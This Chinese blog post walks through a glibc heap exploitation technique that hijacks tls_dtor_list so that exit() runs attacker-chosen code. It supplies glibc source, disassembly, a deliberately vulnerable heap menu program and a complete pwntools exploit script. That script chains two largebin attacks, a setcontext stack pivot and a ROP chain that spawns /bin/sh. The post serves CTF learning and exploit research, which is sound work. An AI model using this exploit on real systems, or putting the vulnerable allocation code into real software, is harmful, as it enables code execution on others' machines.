tls_dtor_list劫持exit执行-高版本glibc利用思路之一

collectcrop Lv3

利用原理

主要链条:

1
exit->__run_exit_handlers->__call_tls_dtors

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#  define PTR_DEMANGLE(var)     PTR_MANGLE (var)
# define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ THREAD_GET_POINTER_GUARD ())
# define THREAD_GET_POINTER_GUARD() \
THREAD_GETMEM (THREAD_SELF, header.stack_guard)
# define THREAD_GETMEM(descr, member) \
descr->member

void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif

tls_dtor_list = tls_dtor_list->next;
func (cur->obj);

/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
libc_hidden_def (__call_tls_dtors)
......
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};

很清楚能看到如果tls_dtor_list不为空,就会把cur指针指向tls_dtor_list,然后将其中func的函数指针字段经过PTR_DEMANGLE处理后,直接作为函数调用,参数是cur->obj

tls_dtor_list记录了dtor_list这个单向链表的表头,我们可以通过覆盖tls_dtor_list的值为一个我们可控的内存区域,然后就能伪造各个字段了。但最麻烦的是在调用func前有一个异或的逻辑,实际上会与fs:0x30(tcbhead_t->pointer_guard)处的内容进行异或,那我们首先要想办法泄露出这个内容,或者是直接改写这个位置的内容,才可以调用我们想要的函数。所以一般会利用largebin attack或者unsortedbin attack两次,完成tls_dtor_list的修改以及对tcbhead_t->pointer_guard的修改。

汇编实现

主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]             
<__call_tls_dtors+21> test rbp, rbp
<__call_tls_dtors+24> je __call_tls_dtors+93
<__call_tls_dtors+26> nop word ptr [rax + rax]
<__call_tls_dtors+32> mov rdx, qword ptr [rbp + 0x18]
<__call_tls_dtors+36> mov rax, qword ptr [rbp]
<__call_tls_dtors+40> ror rax, 0x11
<__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
<__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
<__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
<__call_tls_dtors+61> call rax
<__call_tls_dtors+63> mov rax, qword ptr [rbp + 0x10]
<__call_tls_dtors+67> lock sub qword ptr [rax + 0x468], 1
<__call_tls_dtors+76> mov rdi, rbp
<__call_tls_dtors+79> call free@plt <free@plt>

先是会把rbp指向tls_dtor_list,也就是dtor_list链表的头节点,正是我们修改的地方。然后取出func字段后,会先右移0x11位,再与fs:[0x30]处的内容异或。最后call进行调用。那么我们传func字段时就先异或再左移,就能够解出正确的函数指针。需要注意的是,如果我们不是直接利用头节点处的dtor_list,map域也要进行伪造,使map+0x468为一个可写地址,而且之后的free也需要想办法绕过,所以最好还是直接一次直接利用完成。因为这里mov rdx, qword ptr [rbp + 0x18]直接把rdx拉到我们可控的堆区域了,而且我们控制next域就可以控制rdx的值,其实我们也可以走setcontext的打法。

利用验证

自己写一个堆的菜单题,不做什么限制方便原理验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void *chunk_list[32];
void menu()
{
puts("1. Add");
puts("2. Delete");
puts("3. Edit");
puts("4. Show");
puts("5. Exit");
puts("choice >>");
}

void add()
{
int idx, size;
puts("idx:");
scanf("%d", &idx);
puts("size:");
scanf("%d", &size);
chunk_list[idx] = malloc(size);
}

void edit()
{
int idx,size;
puts("idx:");
scanf("%d", &idx);
puts("size:");
scanf("%d", &size);
puts("content:");
read(0,chunk_list[idx], size);
}

void delete()
{
int idx;
puts("idx:");
scanf("%d", &idx);
free(chunk_list[idx]);
}

void show()
{
int idx;
puts("idx:");
scanf("%d", &idx);
puts(chunk_list[idx]);
}

void end()
{
puts("Bye~");
exit(0);
}

int main(int argc, char **argv)
{
int choice;
void *libc_base = &puts;
// printf("puts_addr:%p\n",&puts);
printf("libc_base:%p\n", libc_base);
while (1)
{
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
add();
break;
case 2:
delete ();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
end();
break;
}
}

return 0;
}

首先泄露libc基址和heap基址,这里libc基址我直接在主程序中打印出来了,其实也可以通过show largebin来获得。

1
2
3
4
5
6
7
8
9
10
add(1,0x428)  #1
add(2,0x428) #2
add(3,0x418) #3

delete(1)

add(4,0x500) #4
show(1)
heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))-0x16b0
log.success("heap_base:"+hex(heap_base))

然后free掉一个和0x430那个larginbin属于一个大小范围的,但又比0x430小的chunk3,修改以及在largebin中的那个chunk的bk_nextsize域为target_addr-0x20,然后申请一个大chunk,从topchunk分配,并把chunk3置入largebin,触发largebin attack,往target_addr写chunk3的地址。

1
2
3
4
delete(3)
edit(1,0x20,p64(0)*3+p64(tls_dtor_list-0x20))

add(5,0x500) #trigger largebin attack 1

然后故技重施,再来次largebin attack改tcbhead_t->pointer_guard为一个我们知道的堆地址,这里我们可以先把fake_dtor_list->next改成一个可控的堆区域先,方便后面栈迁移。这里fs_base的地址相对于libc基址是固定的,计算一下就可以得出。

1
2
3
4
5
6
7
8
edit(3,0x10,p64(0)+p64(heap_base+0x1af0))    #next=chunk2->data
add(6,0x500)
add(7,0x4f8)
delete(5)
add(8,0x600)
delete(7)
edit(5,0x20,p64(0)*3+p64(fs_base+0x30-0x20))
add(9,0x600) #trigger largebin attack 2

这里的key就是我们写到fs:0x30的地址,最后利用chunk2把chunk3(fake_dtor_list)的func域改为加密后的setcontext+61,由于我们之前把next域设置为了chunk2的data域的地址,所以这里rdx就会指向chunk2的data域,这样我们在改chunk2时,设置rsp为一个可写地址,rbp为栈迁移目标地址-8,rcx为leave;ret地址,最终就能栈迁移到我们可控的堆段上,这里我们迁移到了chunk8的data域,chunk8写rop链即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall = libc_base + 0x0000000000029db4

key = heap_base + 0x3260
chunk8 = heap_base + 0x3770
payload = b"\x00"*0x78 + p64(chunk8-8) #rbp
payload = payload.ljust(0xa0,b"\x00") + p64(heap_base+0x5000)+p64(leave_ret)
payload = payload.ljust(0x420,b'\x00') + p64(((setcontext+61)^key)<<0x11)
edit(2,0x428,payload)

rop = p64(pop_rdi_ret)+p64(chunk8+0x50)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_r12_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)+b"/bin/sh\x00"
edit(8,0x58,rop)
# gdb.attach(p)
# pause()
end()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

p = process("./poc")
# p = remote("pwn.challenge.ctf.show",28310)
elf = ELF("./poc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(idx,size):
p.sendlineafter("choice >>",b"1")
p.sendlineafter("idx:",str(idx).encode())
p.sendlineafter("size:",str(size).encode())

def delete(idx):
p.sendlineafter("choice >>",b"2")
p.sendlineafter("idx:",str(idx).encode())

def edit(idx,size,content):
p.sendlineafter("choice >>",b"3")
p.sendlineafter("idx:",str(idx).encode())
p.sendlineafter("size:",str(size).encode())
p.sendafter("content:",content)

def show(idx):
p.sendlineafter("choice >>",b"4")
p.sendlineafter("idx:",str(idx).encode())

def end():
p.sendlineafter("choice >>",b"5")
p.recvuntil("libc_base:")
libc_base = int(p.recv(14),16)-0x80e50
log.success("libc_base:"+hex(libc_base))
tls_dtor_list = libc_base - 0x2918
fs_base = libc_base - 0x28c0
# fs_base = libc_base - 0x3260
ret = libc_base + 0x0000000000029139
leave_ret = libc_base + 0x000000000004da83
setcontext = libc_base + libc.sym["setcontext"]

add(1,0x428) #1
add(2,0x428) #2
add(3,0x418) #3

delete(1)

add(4,0x500) #4
show(1)
heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))-0x16b0
log.success("heap_base:"+hex(heap_base))

delete(3)
edit(1,0x20,p64(0)*3+p64(tls_dtor_list-0x20))

add(5,0x500) #trigger largebin attack 1
edit(3,0x10,p64(0)+p64(heap_base+0x1af0)) #next=chunk2->data
add(6,0x500)
add(7,0x4f8)
delete(5)
add(8,0x600)
delete(7)
edit(5,0x20,p64(0)*3+p64(fs_base+0x30-0x20))
add(9,0x600) #trigger largebin attack 2

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall = libc_base + 0x0000000000029db4

key = heap_base + 0x3260
chunk8 = heap_base + 0x3770
payload = b"\x00"*0x78 + p64(chunk8-8) #rbp
payload = payload.ljust(0xa0,b"\x00") + p64(heap_base+0x5000)+p64(leave_ret)
payload = payload.ljust(0x420,b'\x00') + p64(((setcontext+61)^key)<<0x11)
edit(2,0x428,payload)

rop = p64(pop_rdi_ret)+p64(chunk8+0x50)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_r12_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)+b"/bin/sh\x00"
edit(8,0x58,rop)
# gdb.attach(p)
# pause()
end()

p.interactive()

  • 标题: tls_dtor_list劫持exit执行-高版本glibc利用思路之一
  • 作者: collectcrop
  • 创建于 : 2024-11-28 12:52:47
  • 更新于 : 2024-11-28 12:55:29
  • 链接: https://collectcrop.github.io/2024/11/28/tls-dtor-list劫持exit执行-高版本glibc利用思路之一/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
tls_dtor_list劫持exit执行-高版本glibc利用思路之一